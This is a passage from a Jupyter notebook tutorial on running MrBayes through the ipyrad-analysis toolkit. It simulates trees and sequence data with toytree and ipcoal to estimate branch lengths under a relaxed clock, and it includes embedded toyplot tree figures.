{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "<h1><span style=\"color:gray\">ipyrad-analysis toolkit:</span> mrbayes</h1>\n", "\n", "In these analyses our interest is primarily in inferring accurate branch lengths under a relaxed molecular clock model. This means that tips are forced to line up at the present (time) but that rates of substitutions are allowed to vary among branches to best explain the variation in the sequence data. \n", "\n", "There is a huge range of models that can be employed using mrbayes by employing different combinations of parameter settings, model definitions, and prior settings. The ipyrad-analysis tool here is intended to make it easy to run such jobs many times (e.g., distributed in parallel) once you have decided on your settings. In addition, we provide a number of pre-set models (e.g., clock_model=2) that may be useful for simple scenarios. \n", "\n", "Here we use simulations to demonstrate the accuracy of branch length estimation when sequences come from a single versus multiple distinct genealogies (e.g., gene tree vs species tree), and show an option to fix the topology to speed up analyses when your only interest is to estimate branch lengths. " ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [], "source": [ "# conda install ipyrad toytree mrbayes -c conda-forge -c bioconda" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [], "source": [ "import toytree\n", "import ipcoal\n", "import ipyrad.analysis as ipa" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Simulate a gene tree with 14 tips and MRCA of 1M generations" ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div class=\"toyplot\" id=\"te44815bbc9fa4fe7a4c118d76a6901f0\" style=\"text-align:center\"><svg class=\"toyplot-canvas-Canvas\" height=\"260.0px\" id=\"t77b38dadf1244426957d44ccac7b6000\" preserveAspectRatio=\"xMidYMid meet\" style=\"background-color:transparent;border-color:#292724;border-style:none;border-width:1.0;fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:Helvetica;font-size:12px;opacity:1.0;stroke:rgb(16.1%,15.3%,14.1%);stroke-opacity:1.0;stroke-width:1.0\" viewBox=\"0 0 350.0 260.0\" width=\"350.0px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:toyplot=\"http://www.sandia.gov/toyplot\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><g class=\"toyplot-coordinates-Cartesian\" id=\"t38d580d5ecff4f3c836c68cb073f00ff\"><clipPath id=\"t4f21e880ffc04518a21aa402dbbfb75f\"><rect height=\"200.0\" width=\"290.0\" x=\"30.0\" y=\"30.0\"></rect></clipPath><g clip-path=\"url(#t4f21e880ffc04518a21aa402dbbfb75f)\"><g class=\"toytree-mark-Toytree\" id=\"t816d1ca8820244dcb70e97b6f2f30e30\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(14.9%,14.9%,14.9%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 232.3 56.5 L 272.3 172.3\" id=\"14,13\"></path><path d=\"M 232.3 56.5 L 192.2 127.8\" id=\"14,12\"></path><path d=\"M 192.2 127.8 L 160.8 135.5\" id=\"12,11\"></path><path d=\"M 160.8 135.5 L 130.4 148.9\" id=\"11,10\"></path><path d=\"M 130.4 148.9 L 102.0 166.2\" id=\"10,9\"></path><path d=\"M 102.0 166.2 L 77.7 178.1\" id=\"9,8\"></path><path d=\"M 272.3 172.3 L 288.6 185.8\" id=\"13,7\"></path><path d=\"M 272.3 172.3 L 256.1 185.8\" id=\"13,6\"></path><path d=\"M 192.2 127.8 L 223.7 185.8\" id=\"12,5\"></path><path d=\"M 160.8 135.5 L 191.2 185.8\" id=\"11,4\"></path><path d=\"M 130.4 148.9 L 158.8 185.8\" id=\"10,3\"></path><path d=\"M 102.0 166.2 L 126.3 185.8\" id=\"9,2\"></path><path d=\"M 77.7 178.1 L 93.9 185.8\" id=\"8,1\"></path><path d=\"M 77.7 178.1 L 61.4 185.8\" id=\"8,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 61.4 185.8 L 61.4 185.8\"></path><path d=\"M 93.9 185.8 L 93.9 185.8\"></path><path d=\"M 126.3 185.8 L 126.3 185.8\"></path><path d=\"M 158.8 185.8 L 158.8 185.8\"></path><path d=\"M 191.2 185.8 L 191.2 185.8\"></path><path d=\"M 223.7 185.8 L 223.7 185.8\"></path><path d=\"M 256.1 185.8 L 256.1 185.8\"></path><path d=\"M 288.6 185.8 L 288.6 185.8\"></path></g><g class=\"toytree-Nodes\" style=\"fill:rgb(10.6%,62%,46.7%);fill-opacity:1.0;stroke:rgb(100%,100%,100%);stroke-opacity:1.0;stroke-width:1.5\"><g id=\"node-0\" transform=\"translate(61.446,185.758)\"><circle r=\"4.0\"></circle></g><g id=\"node-1\" transform=\"translate(93.890,185.758)\"><circle r=\"4.0\"></circle></g><g id=\"node-2\" transform=\"translate(126.334,185.758)\"><circle r=\"4.0\"></circle></g><g id=\"node-3\" transform=\"translate(158.778,185.758)\"><circle r=\"4.0\"></circle></g><g id=\"node-4\" transform=\"translate(191.222,185.758)\"><circle r=\"4.0\"></circle></g><g id=\"node-5\" transform=\"translate(223.666,185.758)\"><circle r=\"4.0\"></circle></g><g id=\"node-6\" transform=\"translate(256.110,185.758)\"><circle r=\"4.0\"></circle></g><g id=\"node-7\" transform=\"translate(288.554,185.758)\"><circle r=\"4.0\"></circle></g><g id=\"node-8\" transform=\"translate(77.668,178.060)\"><circle r=\"4.0\"></circle></g><g id=\"node-9\" transform=\"translate(102.001,166.177)\"><circle r=\"4.0\"></circle></g><g id=\"node-10\" transform=\"translate(130.390,148.916)\"><circle r=\"4.0\"></circle></g><g id=\"node-11\" transform=\"translate(160.806,135.451)\"><circle r=\"4.0\"></circle></g><g id=\"node-12\" transform=\"translate(192.236,127.759)\"><circle r=\"4.0\"></circle></g><g id=\"node-13\" transform=\"translate(272.332,172.306)\"><circle r=\"4.0\"></circle></g><g id=\"node-14\" transform=\"translate(232.284,56.465)\"><circle r=\"4.0\"></circle></g></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"><g transform=\"translate(64.51,200.76)rotate(-90.0)\"><text>r0</text></g><g transform=\"translate(96.96,200.76)rotate(-90.0)\"><text>r1</text></g><g transform=\"translate(129.40,200.76)rotate(-90.0)\"><text>r2</text></g><g transform=\"translate(161.84,200.76)rotate(-90.0)\"><text>r3</text></g><g transform=\"translate(194.29,200.76)rotate(-90.0)\"><text>r4</text></g><g transform=\"translate(226.73,200.76)rotate(-90.0)\"><text>r5</text></g><g transform=\"translate(259.18,200.76)rotate(-90.0)\"><text>r6</text></g><g transform=\"translate(291.62,200.76)rotate(-90.0)\"><text>r7</text></g></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"></g></g></g><g class=\"toyplot-coordinates-Axis\" id=\"ta07737ed6a20477d9dd2a826a721f62b\" transform=\"translate(50.0,210.0)rotate(-90.0)translate(0,-20.0)\"><line style=\"\" x1=\"24.24242424242424\" x2=\"153.53535353535352\" y1=\"0\" y2=\"0\"></line><g><line style=\"\" x1=\"24.24242424242424\" x2=\"24.24242424242424\" y1=\"0\" y2=\"5\"></line><line style=\"\" x1=\"88.88888888888887\" x2=\"88.88888888888887\" y1=\"0\" y2=\"5\"></line><line style=\"\" x1=\"153.53535353535352\" x2=\"153.53535353535352\" y1=\"0\" y2=\"5\"></line></g><g><g transform=\"translate(24.24242424242424,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-2.78\" y=\"-4.440892098500626e-16\">0</text></g><g transform=\"translate(88.88888888888887,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-16.68\" y=\"-4.440892098500626e-16\">500000</text></g><g transform=\"translate(153.53535353535352,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-19.459999999999997\" y=\"-4.440892098500626e-16\">1000000</text></g></g><g class=\"toyplot-coordinates-Axis-coordinates\" style=\"visibility:hidden\" transform=\"\"><line style=\"stroke:rgb(43.9%,50.2%,56.5%);stroke-opacity:1.0;stroke-width:1.0\" x1=\"0\" x2=\"0\" y1=\"3.0\" y2=\"-4.5\"></line><text style=\"alignment-baseline:hanging;fill:rgb(43.9%,50.2%,56.5%);fill-opacity:1.0;font-size:10px;font-weight:normal;stroke:none;text-anchor:middle\" x=\"0\" y=\"6\"></text></g></g></g></svg><div class=\"toyplot-behavior\"><script>(function()\n", "{\n", "var modules={};\n", "modules[\"toyplot/canvas/id\"] = \"t77b38dadf1244426957d44ccac7b6000\";\n", "modules[\"toyplot/canvas\"] = (function(canvas_id)\n", " {\n", " return document.querySelector(\"#\" + canvas_id);\n", " })(modules[\"toyplot/canvas/id\"]);\n", "modules[\"toyplot.coordinates.Axis\"] = (\n", " function(canvas)\n", " {\n", " function sign(x)\n", " {\n", " return x < 0 ? -1 : x > 0 ? 1 : 0;\n", " }\n", "\n", " function mix(a, b, amount)\n", " {\n", " return ((1.0 - amount) * a) + (amount * b);\n", " }\n", "\n", " function log(x, base)\n", " {\n", " return Math.log(Math.abs(x)) / Math.log(base);\n", " }\n", "\n", " function in_range(a, x, b)\n", " {\n", " var left = Math.min(a, b);\n", " var right = Math.max(a, b);\n", " return left <= x && x <= right;\n", " }\n", "\n", " function inside(range, projection)\n", " {\n", " for(var i = 0; i != projection.length; ++i)\n", " {\n", " var segment = projection[i];\n", " if(in_range(segment.range.min, range, segment.range.max))\n", " return true;\n", " }\n", " return false;\n", " }\n", "\n", " function to_domain(range, projection)\n", " {\n", " for(var i = 0; i != projection.length; ++i)\n", " {\n", " var segment = projection[i];\n", " if(in_range(segment.range.bounds.min, range, segment.range.bounds.max))\n", " {\n", " if(segment.scale == \"linear\")\n", " {\n", " var amount = (range - segment.range.min) / (segment.range.max - segment.range.min);\n", " return mix(segment.domain.min, segment.domain.max, amount)\n", " }\n", " else if(segment.scale[0] == \"log\")\n", " {\n", " var amount = (range - segment.range.min) / (segment.range.max - segment.range.min);\n", " var base = segment.scale[1];\n", " return sign(segment.domain.min) * Math.pow(base, mix(log(segment.domain.min, base), log(segment.domain.max, base), amount));\n", " }\n", " }\n", " }\n", " }\n", "\n", " var axes = {};\n", "\n", " function display_coordinates(e)\n", " {\n", " var current = canvas.createSVGPoint();\n", " current.x = e.clientX;\n", " current.y = e.clientY;\n", "\n", " for(var axis_id in axes)\n", " {\n", " var axis = document.querySelector(\"#\" + axis_id);\n", " var coordinates = axis.querySelector(\".toyplot-coordinates-Axis-coordinates\");\n", " if(coordinates)\n", " {\n", " var projection = axes[axis_id];\n", " var local = current.matrixTransform(axis.getScreenCTM().inverse());\n", " if(inside(local.x, projection))\n", " {\n", " var domain = to_domain(local.x, projection);\n", " coordinates.style.visibility = \"visible\";\n", " coordinates.setAttribute(\"transform\", \"translate(\" + local.x + \")\");\n", " var text = coordinates.querySelector(\"text\");\n", " text.textContent = domain.toFixed(2);\n", " }\n", " else\n", " {\n", " coordinates.style.visibility= \"hidden\";\n", " }\n", " }\n", " }\n", " }\n", "\n", " canvas.addEventListener(\"click\", display_coordinates);\n", "\n", " var module = {};\n", " module.show_coordinates = function(axis_id, projection)\n", " {\n", " axes[axis_id] = projection;\n", " }\n", "\n", " return module;\n", " })(modules[\"toyplot/canvas\"]);\n", "(function(axis, axis_id, projection)\n", " {\n", " axis.show_coordinates(axis_id, projection);\n", " })(modules[\"toyplot.coordinates.Axis\"],\"ta07737ed6a20477d9dd2a826a721f62b\",[{\"domain\": {\"bounds\": {\"max\": Infinity, \"min\": -Infinity}, \"max\": 1050000.0, \"min\": -187499.99999999997}, \"range\": {\"bounds\": {\"max\": Infinity, \"min\": -Infinity}, \"max\": 160.0, \"min\": 0.0}, \"scale\": \"linear\"}]);\n", "})();</script></div></div>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "TREE = toytree.rtree.bdtree(ntips=8, b=0.8, d=0.2, seed=123)\n", "TREE = TREE.mod.node_scale_root_height(1e6)\n", "TREE.draw(ts='o', layout='d', scalebar=True);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Simulate sequences on single gene tree and write to NEXUS\n", "When Ne is greater the gene tree is more likely to deviate from the species tree topology and branch lengths." ] }, { "cell_type": "code", "execution_count": 68, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "wrote concat locus (8 x 20000bp) to /tmp/mbtest-1.nex\n" ] } ], "source": [ "# init simulator\n", "model = ipcoal.Model(TREE, Ne=2e4, nsamples=2, recomb=0)\n", "\n", "# simulate sequence data on coalescent genealogies\n", "model.sim_loci(nloci=1, nsites=20000)\n", "\n", "# write results to database file\n", "model.write_concat_to_nexus(name=\"mbtest-1\", outdir='/tmp', diploid=True)" ] }, { "cell_type": "code", "execution_count": 69, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div class=\"toyplot\" id=\"t76230f4d088043e381373e19006649ec\" style=\"text-align:center\"><svg class=\"toyplot-canvas-Canvas\" height=\"270.0px\" id=\"t72da053183294c87b660c237abce0545\" preserveAspectRatio=\"xMidYMid meet\" style=\"background-color:transparent;border-color:#292724;border-style:none;border-width:1.0;fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:Helvetica;font-size:12px;opacity:1.0;stroke:rgb(16.1%,15.3%,14.1%);stroke-opacity:1.0;stroke-width:1.0\" viewBox=\"0 0 350.0 270.0\" width=\"350.0px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:toyplot=\"http://www.sandia.gov/toyplot\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><g class=\"toyplot-coordinates-Cartesian\" id=\"tbbcc7fcbc3674c628b7a06fc212cc92a\"><clipPath id=\"te80065ef0c7d4a77a766817824d59d0e\"><rect height=\"210.0\" width=\"290.0\" x=\"30.0\" y=\"30.0\"></rect></clipPath><g clip-path=\"url(#te80065ef0c7d4a77a766817824d59d0e)\"><g class=\"toytree-mark-Toytree\" id=\"t16ba1999a61d4fee82f912f3e2fdce91\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(14.9%,14.9%,14.9%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 229.7 56.4 L 267.9 174.3\" id=\"30,29\"></path><path d=\"M 229.7 56.4 L 191.4 129.4\" id=\"30,28\"></path><path d=\"M 267.9 174.3 L 283.3 190.9\" id=\"29,27\"></path><path d=\"M 267.9 174.3 L 252.4 187.2\" id=\"29,26\"></path><path d=\"M 191.4 129.4 L 221.4 186.0\" id=\"28,25\"></path><path d=\"M 191.4 129.4 L 161.5 137.0\" id=\"28,24\"></path><path d=\"M 161.5 137.0 L 190.5 189.3\" id=\"24,23\"></path><path d=\"M 161.5 137.0 L 132.4 152.6\" id=\"24,22\"></path><path d=\"M 132.4 152.6 L 159.5 190.1\" id=\"22,21\"></path><path d=\"M 132.4 152.6 L 105.3 166.4\" id=\"22,20\"></path><path d=\"M 105.3 166.4 L 128.6 190.4\" id=\"20,19\"></path><path d=\"M 105.3 166.4 L 82.1 180.6\" id=\"20,18\"></path><path d=\"M 82.1 180.6 L 97.6 191.5\" id=\"18,17\"></path><path d=\"M 82.1 180.6 L 66.7 191.1\" id=\"18,16\"></path><path d=\"M 283.3 190.9 L 291.1 192.7\" id=\"27,15\"></path><path d=\"M 283.3 190.9 L 275.6 192.7\" id=\"27,14\"></path><path d=\"M 252.4 187.2 L 260.1 192.7\" id=\"26,13\"></path><path d=\"M 252.4 187.2 L 244.7 192.7\" id=\"26,12\"></path><path d=\"M 221.4 186.0 L 229.2 192.7\" id=\"25,11\"></path><path d=\"M 221.4 186.0 L 213.7 192.7\" id=\"25,10\"></path><path d=\"M 190.5 189.3 L 198.2 192.7\" id=\"23,9\"></path><path d=\"M 190.5 189.3 L 182.7 192.7\" id=\"23,8\"></path><path d=\"M 159.5 190.1 L 167.3 192.7\" id=\"21,7\"></path><path d=\"M 159.5 190.1 L 151.8 192.7\" id=\"21,6\"></path><path d=\"M 128.6 190.4 L 136.3 192.7\" id=\"19,5\"></path><path d=\"M 128.6 190.4 L 120.8 192.7\" id=\"19,4\"></path><path d=\"M 97.6 191.5 L 105.3 192.7\" id=\"17,3\"></path><path d=\"M 97.6 191.5 L 89.9 192.7\" id=\"17,2\"></path><path d=\"M 66.7 191.1 L 74.4 192.7\" id=\"16,1\"></path><path d=\"M 66.7 191.1 L 58.9 192.7\" id=\"16,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 58.9 192.7 L 58.9 192.7\"></path><path d=\"M 74.4 192.7 L 74.4 192.7\"></path><path d=\"M 89.9 192.7 L 89.9 192.7\"></path><path d=\"M 105.3 192.7 L 105.3 192.7\"></path><path d=\"M 120.8 192.7 L 120.8 192.7\"></path><path d=\"M 136.3 192.7 L 136.3 192.7\"></path><path d=\"M 151.8 192.7 L 151.8 192.7\"></path><path d=\"M 167.3 192.7 L 167.3 192.7\"></path><path d=\"M 182.7 192.7 L 182.7 192.7\"></path><path d=\"M 198.2 192.7 L 198.2 192.7\"></path><path d=\"M 213.7 192.7 L 213.7 192.7\"></path><path d=\"M 229.2 192.7 L 229.2 192.7\"></path><path d=\"M 244.7 192.7 L 244.7 192.7\"></path><path d=\"M 260.1 192.7 L 260.1 192.7\"></path><path d=\"M 275.6 192.7 L 275.6 192.7\"></path><path d=\"M 291.1 192.7 L 291.1 192.7\"></path></g><g class=\"toytree-Nodes\" style=\"fill:rgb(10.6%,62%,46.7%);fill-opacity:1.0;stroke:rgb(100%,100%,100%);stroke-opacity:1.0;stroke-width:1.5\"><g id=\"node-0\" transform=\"translate(58.915,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-1\" transform=\"translate(74.393,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-2\" transform=\"translate(89.871,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-3\" transform=\"translate(105.349,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-4\" transform=\"translate(120.827,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-5\" transform=\"translate(136.305,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-6\" transform=\"translate(151.783,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-7\" transform=\"translate(167.261,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-8\" transform=\"translate(182.739,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-9\" transform=\"translate(198.217,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-10\" transform=\"translate(213.695,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-11\" transform=\"translate(229.173,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-12\" transform=\"translate(244.651,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-13\" transform=\"translate(260.129,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-14\" transform=\"translate(275.607,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-15\" transform=\"translate(291.085,192.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-16\" transform=\"translate(66.654,191.147)\"><circle r=\"4.0\"></circle></g><g id=\"node-17\" transform=\"translate(97.610,191.455)\"><circle r=\"4.0\"></circle></g><g id=\"node-18\" transform=\"translate(82.132,180.576)\"><circle r=\"4.0\"></circle></g><g id=\"node-19\" transform=\"translate(128.566,190.447)\"><circle r=\"4.0\"></circle></g><g id=\"node-20\" transform=\"translate(105.349,166.381)\"><circle r=\"4.0\"></circle></g><g id=\"node-21\" transform=\"translate(159.522,190.149)\"><circle r=\"4.0\"></circle></g><g id=\"node-22\" transform=\"translate(132.436,152.590)\"><circle r=\"4.0\"></circle></g><g id=\"node-23\" transform=\"translate(190.478,189.332)\"><circle r=\"4.0\"></circle></g><g id=\"node-24\" transform=\"translate(161.457,136.962)\"><circle r=\"4.0\"></circle></g><g id=\"node-25\" transform=\"translate(221.434,185.991)\"><circle r=\"4.0\"></circle></g><g id=\"node-26\" transform=\"translate(252.390,187.182)\"><circle r=\"4.0\"></circle></g><g id=\"node-27\" transform=\"translate(283.346,190.860)\"><circle r=\"4.0\"></circle></g><g id=\"node-28\" transform=\"translate(191.445,129.436)\"><circle r=\"4.0\"></circle></g><g id=\"node-29\" transform=\"translate(267.868,174.318)\"><circle r=\"4.0\"></circle></g><g id=\"node-30\" transform=\"translate(229.657,56.415)\"><circle r=\"4.0\"></circle></g></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"><g transform=\"translate(61.98,207.74)rotate(-90.0)\"><text>r1-1</text></g><g transform=\"translate(77.46,207.74)rotate(-90.0)\"><text>r1-0</text></g><g transform=\"translate(92.94,207.74)rotate(-90.0)\"><text>r0-1</text></g><g transform=\"translate(108.42,207.74)rotate(-90.0)\"><text>r0-0</text></g><g transform=\"translate(123.89,207.74)rotate(-90.0)\"><text>r2-1</text></g><g transform=\"translate(139.37,207.74)rotate(-90.0)\"><text>r2-0</text></g><g transform=\"translate(154.85,207.74)rotate(-90.0)\"><text>r3-1</text></g><g transform=\"translate(170.33,207.74)rotate(-90.0)\"><text>r3-0</text></g><g transform=\"translate(185.80,207.74)rotate(-90.0)\"><text>r4-1</text></g><g transform=\"translate(201.28,207.74)rotate(-90.0)\"><text>r4-0</text></g><g transform=\"translate(216.76,207.74)rotate(-90.0)\"><text>r5-1</text></g><g transform=\"translate(232.24,207.74)rotate(-90.0)\"><text>r5-0</text></g><g transform=\"translate(247.72,207.74)rotate(-90.0)\"><text>r6-1</text></g><g transform=\"translate(263.19,207.74)rotate(-90.0)\"><text>r6-0</text></g><g transform=\"translate(278.67,207.74)rotate(-90.0)\"><text>r7-1</text></g><g transform=\"translate(294.15,207.74)rotate(-90.0)\"><text>r7-0</text></g></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"></g></g></g><g class=\"toyplot-coordinates-Axis\" id=\"td979a742bdc84516b9ca66e1b0e07eb3\" transform=\"translate(50.0,220.0)rotate(-90.0)translate(0,-20.0)\"><line style=\"\" x1=\"27.264150943396224\" x2=\"163.58490566037733\" y1=\"0\" y2=\"0\"></line><g><line style=\"\" x1=\"27.264150943396224\" x2=\"27.264150943396224\" y1=\"0\" y2=\"5\"></line><line style=\"\" x1=\"95.42452830188678\" x2=\"95.42452830188678\" y1=\"0\" y2=\"5\"></line><line style=\"\" x1=\"163.58490566037733\" x2=\"163.58490566037733\" y1=\"0\" y2=\"5\"></line></g><g><g transform=\"translate(27.264150943396224,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-2.78\" y=\"-4.440892098500626e-16\">0</text></g><g transform=\"translate(95.42452830188678,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-16.68\" y=\"-4.440892098500626e-16\">507700</text></g><g transform=\"translate(163.58490566037733,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-19.459999999999997\" y=\"-4.440892098500626e-16\">1015400</text></g></g><g class=\"toyplot-coordinates-Axis-coordinates\" style=\"visibility:hidden\" transform=\"\"><line style=\"stroke:rgb(43.9%,50.2%,56.5%);stroke-opacity:1.0;stroke-width:1.0\" x1=\"0\" x2=\"0\" y1=\"3.0\" y2=\"-4.5\"></line><text style=\"alignment-baseline:hanging;fill:rgb(43.9%,50.2%,56.5%);fill-opacity:1.0;font-size:10px;font-weight:normal;stroke:none;text-anchor:middle\" x=\"0\" y=\"6\"></text></g></g></g></svg><div class=\"toyplot-behavior\"><script>(function()\n", "{\n", "var modules={};\n", "modules[\"toyplot/canvas/id\"] = \"t72da053183294c87b660c237abce0545\";\n", "modules[\"toyplot/canvas\"] = (function(canvas_id)\n", " {\n", " return document.querySelector(\"#\" + canvas_id);\n", " })(modules[\"toyplot/canvas/id\"]);\n", "modules[\"toyplot.coordinates.Axis\"] = (\n", " function(canvas)\n", " {\n", " function sign(x)\n", " {\n", " return x < 0 ? -1 : x > 0 ? 1 : 0;\n", " }\n", "\n", " function mix(a, b, amount)\n", " {\n", " return ((1.0 - amount) * a) + (amount * b);\n", " }\n", "\n", " function log(x, base)\n", " {\n", " return Math.log(Math.abs(x)) / Math.log(base);\n", " }\n", "\n", " function in_range(a, x, b)\n", " {\n", " var left = Math.min(a, b);\n", " var right = Math.max(a, b);\n", " return left <= x && x <= right;\n", " }\n", "\n", " function inside(range, projection)\n", " {\n", " for(var i = 0; i != projection.length; ++i)\n", " {\n", " var segment = projection[i];\n", " if(in_range(segment.range.min, range, segment.range.max))\n", " return true;\n", " }\n", " return false;\n", " }\n", "\n", " function to_domain(range, projection)\n", " {\n", " for(var i = 0; i != projection.length; ++i)\n", " {\n", " var segment = projection[i];\n", " if(in_range(segment.range.bounds.min, range, segment.range.bounds.max))\n", " {\n", " if(segment.scale == \"linear\")\n", " {\n", " var amount = (range - segment.range.min) / (segment.range.max - segment.range.min);\n", " return mix(segment.domain.min, segment.domain.max, amount)\n", " }\n", " else if(segment.scale[0] == \"log\")\n", " {\n", " var amount = (range - segment.range.min) / (segment.range.max - segment.range.min);\n", " var base = segment.scale[1];\n", " return sign(segment.domain.min) * Math.pow(base, mix(log(segment.domain.min, base), log(segment.domain.max, base), amount));\n", " }\n", " }\n", " }\n", " }\n", "\n", " var axes = {};\n", "\n", " function display_coordinates(e)\n", " {\n", " var current = canvas.createSVGPoint();\n", " current.x = e.clientX;\n", " current.y = e.clientY;\n", "\n", " for(var axis_id in axes)\n", " {\n", " var axis = document.querySelector(\"#\" + axis_id);\n", " var coordinates = axis.querySelector(\".toyplot-coordinates-Axis-coordinates\");\n", " if(coordinates)\n", " {\n", " var projection = axes[axis_id];\n", " var local = current.matrixTransform(axis.getScreenCTM().inverse());\n", " if(inside(local.x, projection))\n", " {\n", " var domain = to_domain(local.x, projection);\n", " coordinates.style.visibility = \"visible\";\n", " coordinates.setAttribute(\"transform\", \"translate(\" + local.x + \")\");\n", " var text = coordinates.querySelector(\"text\");\n", " text.textContent = domain.toFixed(2);\n", " }\n", " else\n", " {\n", " coordinates.style.visibility= \"hidden\";\n", " }\n", " }\n", " }\n", " }\n", "\n", " canvas.addEventListener(\"click\", display_coordinates);\n", "\n", " var module = {};\n", " module.show_coordinates = function(axis_id, projection)\n", " {\n", " axes[axis_id] = projection;\n", " }\n", "\n", " return module;\n", " })(modules[\"toyplot/canvas\"]);\n", "(function(axis, axis_id, projection)\n", " {\n", " axis.show_coordinates(axis_id, projection);\n", " })(modules[\"toyplot.coordinates.Axis\"],\"td979a742bdc84516b9ca66e1b0e07eb3\",[{\"domain\": {\"bounds\": {\"max\": Infinity, \"min\": -Infinity}, \"max\": 1063183.5294117648, \"min\": -203080.0}, \"range\": {\"bounds\": {\"max\": Infinity, \"min\": -Infinity}, \"max\": 170.0, \"min\": 0.0}, \"scale\": \"linear\"}]);\n", "})();</script></div></div>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# the simulated genealogy of haploid alleles\n", "gene = model.df.genealogy[0]\n", "\n", "# draw the genealogy\n", "toytree.tree(gene).draw(ts='o', layout='d', scalebar=True);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### View an example locus\n", "This shows the 2 haploid samples simulated for each tip in the species tree." ] }, { "cell_type": "code", "execution_count": 70, "metadata": { "scrolled": true }, "outputs": [ { "data": { "text/html": [ "<div class=\"toyplot\" id=\"tcef305816b72449c83564a23a96fb9e7\" style=\"text-align:center\"><svg class=\"toyplot-canvas-Canvas\" height=\"256.0px\" id=\"td0b33096e6bc48ee83505fbf23304894\" preserveAspectRatio=\"xMidYMid meet\" style=\"background-color:transparent;border-color:#292724;border-style:none;border-width:1.0;fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:Helvetica;font-size:12px;opacity:1.0;stroke:rgb(16.1%,15.3%,14.1%);stroke-opacity:1.0;stroke-width:1.0\" viewBox=\"0 0 1020.0 256.0\" width=\"1020.0px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:toyplot=\"http://www.sandia.gov/toyplot\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><g class=\"toyplot-coordinates-Table\" id=\"t3f8dae144bca4deeac6cb0d8df34d377\"><g transform=\"translate(127.0,31.296875000000004)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r0-0</text></g><rect height=\"11.393750000000004\" 